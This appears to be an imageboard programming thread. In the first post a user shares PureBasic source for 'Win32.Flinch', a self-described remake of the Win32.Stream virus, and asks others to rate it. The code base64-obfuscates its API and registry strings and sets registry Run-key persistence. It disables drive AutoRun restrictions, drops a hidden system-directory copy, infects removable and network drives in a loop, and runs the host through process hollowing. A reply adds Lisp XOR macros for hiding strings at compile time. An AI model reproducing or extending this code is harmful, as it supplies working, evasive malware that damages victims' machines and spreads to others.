Win32.Stream remake

Yes, my lovely /prog/ - I got utterly bored again. That time you would receive my variant of infamous NTFS-abusing virus. Rate it, colegas:

; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-
; Win32.Flinch v0.9 (Beta)
; Developed in 2010 by Alicia.
; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-

EnableExplicit
#PSection = "fip+UFJJTUVfREFUQX4qfg=="
#Section = "OkZsaW5jaGVk"
#Resident = "bnRsZHIuZXhl"
#RegRunBranch = "U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVu"
#RegDriveBranch = "U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUG9saWNpZXNcRXhwbG9y
ZXJc"
#SIMark = "Kl9GbGluY0hfKl9GbGluY0hfKg=="
#NTDLL = "bnRkbGwuZGxs"
#K32DLL = "S2VybmVsMzIuZGxs"
#UnMapper = "WndVbm1hcFZpZXdPZlNlY3Rpb24="
#WPMemory = "V3JpdGVQcm9jZXNzTWVtb3J5"
#RPMemory = "UmVhZFByb2Nlc3NNZW1vcnk="
#ARunFile = "OlxXaW5OVC5jb20="
#LibLoad = #DONT_RESOLVE_DLL_REFERENCES | #LOAD_LIBRARY_AS_DATAFILE
#HiddenSystem = #PB_FileSystem_Hidden | #PB_FileSystem_System
#MegaByte = 1024 * 1024
#CrunchDelay = 45
#FirstDrive = 'C'
Define Letter.c, DType, TPath.s{#MAX_PATH}, MyName.S = ProgramFilename()
Global *WaitingMutex = CreateMutex()
Global MySize, Size2, *MyBody, CRC32
Global Dim Drives.a('Z'-#FirstDrive-1)
Declare IsARunner(Path.s)
Declare CrunchDrive(Letter.i)
Declare.S Decode64(String.S)
Declare RegSetStr(hKey, SubKey.S, ValueName.S, Dat.S)
Declare RegSetInt(hKey, SubKey.S, ValueName.S, Dat.I)
Declare RunPE(PName.S, lBuff, parameters.s)
Declare.s TempFileName()
Declare InfuseData(EXE.s, *DataPtr, DataSize, DataName.s)
Declare ExfuseData(*Module, DataName.s)
Declare CopyResources(SrcModule.s, DestModule.s)
; Hiding suspectable function calls.
Prototype UnmapSectionPT(*ProcessHandle, *BaseAdress)
Prototype WriteProcessPT(*ProcessHandle, *BaseAdress, *Buffer, Size.l, *BytesWritten)
Prototype ReadProcessPT(*ProcessHandle, *BaseAdress, *Buffer, Size.l, *BytesReaded)
Global UnmapSection_.UnmapSectionPT=GetProcAddress_(GetModuleHandle_(Decode64(#NTDLL)),Decode64(#UnMapper))
Global WriteProcess_.WriteProcessPT=GetProcAddress_(GetModuleHandle_(Decode64(#K32DLL)),Decode64(#WPMemory))
Global ReadProcess_.ReadProcessPT=GetProcAddress_(GetModuleHandle_(Decode64(#K32DLL)),Decode64(#RPMemory))
; Some macros:
Macro SetRegSettings()
RegSetStr(#HKEY_LOCAL_MACHINE, Decode64(#RegRunBranch), Decode64("TlQ0IGhvc3Rpbmcgc2VydmljZQ=="), MyName)
RegSetInt(#HKEY_LOCAL_MACHINE, Decode64(#RegDriveBranch), Decode64("Tm9Ecml2ZUF1dG9SdW4="), 0)
RegSetInt(#HKEY_LOCAL_MACHINE, Decode64(#RegDriveBranch), Decode64("Tm9Ecml2ZVR5cGVBdXRvUnVu"), 0)
EndMacro
; Resident's path retrieving.
GetSystemDirectory_(@TPath, #MAX_PATH)
If Right(TPath, 1) <> "\" : TPath + "\" : EndIf
TPath + Decode64(#Resident)
SetRegSettings()
; Main choice...
If UCase(MyName) = UCase(TPath)
; -Resident behavior-
; Checking for second execution.
If CreateSemaphore_(0, 0, 1, Decode64(#SIMark)) And GetLastError_() = #ERROR_ALREADY_EXISTS : End : EndIf
; Body retrieving.
MySize = FileSize(MyName)
*MyBody = AllocateMemory(MySize)
ReadFile(0, MyName)
ReadData(0, *MyBody, MySize)
CloseFile(0)
; Machine name's CRC32 retrieving...
TPath = Space(#MAX_COMPUTERNAME_LENGTH)
DType = #MAX_COMPUTERNAME_LENGTH
GetComputerName_(@TPath, @DType)
CRC32 = CRC32Fingerprint(@TPath, DType)
; ---------------------
; Drives loop.
TPath = Decode64("Kjpc")
Repeat : SetRegSettings(); Infinite loop
For Letter = #FirstDrive To 'Z' : PokeC(@TPath, Letter)
DType = GetDriveType_(@TPath); Retireving type of drive.
If DType => #DRIVE_REMOVABLE And DType <= #DRIVE_RAMDISK And DType <> #DRIVE_CDROM
; Testing if drive is already being crunched.
If Drives(Letter - #FirstDrive) = #False
Drives(Letter - #FirstDrive) = #True
CreateThread(@CrunchDrive(), Letter)
EndIf
EndIf
Next Letter
Delay(15 * 1000); Light pause for better mood.
ForEver
; ---------------------
Else
; -Agent behavior-
SetFileAttributes(TPath, #PB_FileSystem_Normal)
If CreateFile(1, TPath); If resident isn't already executed...
; Preparing body for transfer.
*MyBody = ExfuseData(#Null, Decode64(#PSection))
If *MyBody = #Null : ReadFile(0, MyName); If no prime found...
MySize = Lof(0) : *MyBody = AllocateMemory(MySize)
ReadData(0, *MyBody, MySize)
CloseFile(0)
Else : MySize = MemorySize(*MyBody)
EndIf
; Transferring body.
WriteData(1, *MyBody, MySize) : CloseFile(1)
EndUpdateResource_(BeginUpdateResource_(@TPath, #True), #False); Do not pack with UPX!
RunProgram(TPath)
FreeMemory(*MyBody)
EndIf; Now hiding it for sure:
SetFileAttributes(TPath, #HiddenSystem)
TPath = Decode64(#ARunfile)
; Original program's execution.
If IsARunner(MyName) = #False; If it isn't autorunner...
If ReadFile(0, MyName + Decode64(#Section)); Header
ReadFile(1, MyName); Main body - our code.
MySize = Lof(1) : *MyBody = AllocateMemory(MySize)
Size2 = Lof(0)  : ReadData(0, *MyBody, Size2)
FileSeek(1, Size2); Rewinding to read body
ReadData(1, *MyBody + Size2, MySize - Size2)
CloseFile(1)
CloseFile(0)
TPath = PeekS(GetCommandLine_())
RunPE(MyName, *MyBody, Right(TPath, Len(TPath) - Len(MyName) - 3))
Else : ! MOV EAX, [0]; Imitate error.
EndIf
; Imitate opening of drive in Explorer.
Else : RunProgram(Decode64("ZXhwbG9yZXIuZXhl"), Left(MyName, 3), "")
EndIf
EndIf

Well, fuck, I fail at BBCoed:

;;; Any silly symmetric Feistel cipher will do
(declaim (inline xor-text))

(eval-when (:compile-toplevel :load-toplevel :execute)
  (defun xor-text (text key)
    "Simple xor cipher"
    (let* ((length (length text))
           (s (make-string length))
           (key-len (length key)))
      (dotimes (i (length text) s)     
        (setf (aref s i)
              (code-char
               (logxor (aref key (mod i key-len))
                       (char-code (aref text i))))))))

  ;; I don't remember how to do this portably
  (defconstant +max-char-ord+
    #+sbcl
    #x11000
    #-sbcl
    #x100)

  (defun make-random-key (length &aux
                          (result (make-array length :element-type 'fixnum))) 
    (dotimes (i length result)
      (setf (aref result i) (random +max-char-ord+)))))

;CL-USER> (xor-text "abcad" #(20 90 100 3))
;"u8bp"
;CL-USER> (xor-text * #(20 90 100 3))
;"abcad"
;CL-USER> (make-random-key 10)
;#(#x828F325 #x1022186C #x1004CE7A #x1C72A2D3 #x3E12909 #x1FA2D2D0
;  #x11166B70 #x1C2D454A #x10F624C8 #x165F40CD)
;(let ((random-key (make-random-key 3))) (xor-text (xor-text "abc" random-key) random-key)) =>
;

(defmacro hide-text (text &optional (key-length (1+ (random (1- (length text))))))
  (let ((the-key (make-random-key key-length)))
    `(xor-text ,(xor-text text the-key) ,the-key)))

;CL-USER> (hide-text "Hello there")
;"Hello there"
;CL-USER> (macroexpand '(hide-text "Hello there"))
; => Emacs crashed due to invalid unicode characters... ahaha.
; should be:
; (XOR-TEXT "...invalid unicode characters..." #(randomly generated key of random length lesser than length of text, unique for each time you compile))
;* (disassemble (compile nil '(lambda () (hide-text "Hello there"))))
; disassembly for (LAMBDA ())
; 23E77B2A:       892D2C041022     MOV [#x2210042C], EBP      ; no-arg-parsing entry point
;       30:       BE38000000       MOV ESI, 56
;       35:       033578D14100     ADD ESI, [#x41D178]        ; _boxed_region
;       3B:       3B357CD14100     CMP ESI, [#x41D17C]
;       41:       7607             JBE L0
;       43:       E878A859DC       CALL #x4123C0              ; _alloc_overflow_esi
;       48:       EB09             JMP L1
;       4A: L0:   893578D14100     MOV [#x41D178], ESI        ; _boxed_region
;       50:       83EE38           SUB ESI, 56
;       53: L1:   8D7607           LEA ESI, [ESI+7]
;       56:       C646F9AA         MOV BYTE PTR [ESI-7], 170
;       5A:       C646FD2C         MOV BYTE PTR [ESI-3], 44
;       5E:       312D2C041022     XOR [#x2210042C], EBP
;       64:       7402             JEQ L2
;       66:       CC09             BREAK 9                  
;       68: L2:   31DB             XOR EBX, EBX
;       6A:       EB45             JMP L4
;       6C: L3:   8BC3             MOV EAX, EBX
;       6E:       99               CDQ
;       6F:       B924000000       MOV ECX, 36
;       74:       F7F9             IDIV EAX, ECX
;       76:       C1E002           SHL EAX, 2
;       79:       8B05F07AE723     MOV EAX, [#x23E77AF0]      ; #(28073 23633
                                                              ;   29359 5798 ..)
;       7F:       8B4C1001         MOV ECX, [EAX+EDX+1]
;       83:       8B05F47AE723     MOV EAX, [#x23E77AF4]      ; encrypted unicode string is here
;       89:       8B441801         MOV EAX, [EAX+EBX+1]
;       8D:       8D148500000000   LEA EDX, [EAX*4]
;       94:       8BC1             MOV EAX, ECX
;       96:       31D0             XOR EAX, EDX               ; SBCL respected my inline declaration, xor decryption is done here
;       98:       83F800           CMP EAX, 0                
;       9B:       7C20             JL L6
;       9D:       8BC8             MOV ECX, EAX
;       9F:       81F9FCFF4300     CMP ECX, 4456444
;       A5:       7F16             JNLE L6
;       A7:       C1F802           SAR EAX, 2
;       AA:       89441E01         MOV [ESI+EBX+1], EAX
;       AE:       83C304           ADD EBX, 4
;       B1: L4:   83FB2C           CMP EBX, 44
;       B4:       7CB6             JL L3
;       B6:       8BD6             MOV EDX, ESI
;       B8:       8BE5             MOV ESP, EBP
;       BA:       F8               CLC
;       BB:       5D               POP EBP
;       BC:       C3               RET
;       BD: L5: L6:8B0DF87AE723     MOV ECX, [#x23E77AF8]     ; '(MOD 1114112)
;       C3:       CC0A             BREAK 10                   ; error trap
;       C5:       03               BYTE #X03
;       C6:       1F               BYTE #X1F                  ; OBJECT-NOT-TYPE-ERROR
;       C7:       0D               BYTE #X0D                  ; EAX
;       C8:       4E               BYTE #X4E                  ; ECX
;       C9:       CC0A             BREAK 10                   ; error trap
;       CB:       02               BYTE #X02
;       CC:       18               BYTE #X18                  ; INVALID-ARG-COUNT-ERROR
;       CD:       4D               BYTE #X4D                  ; ECX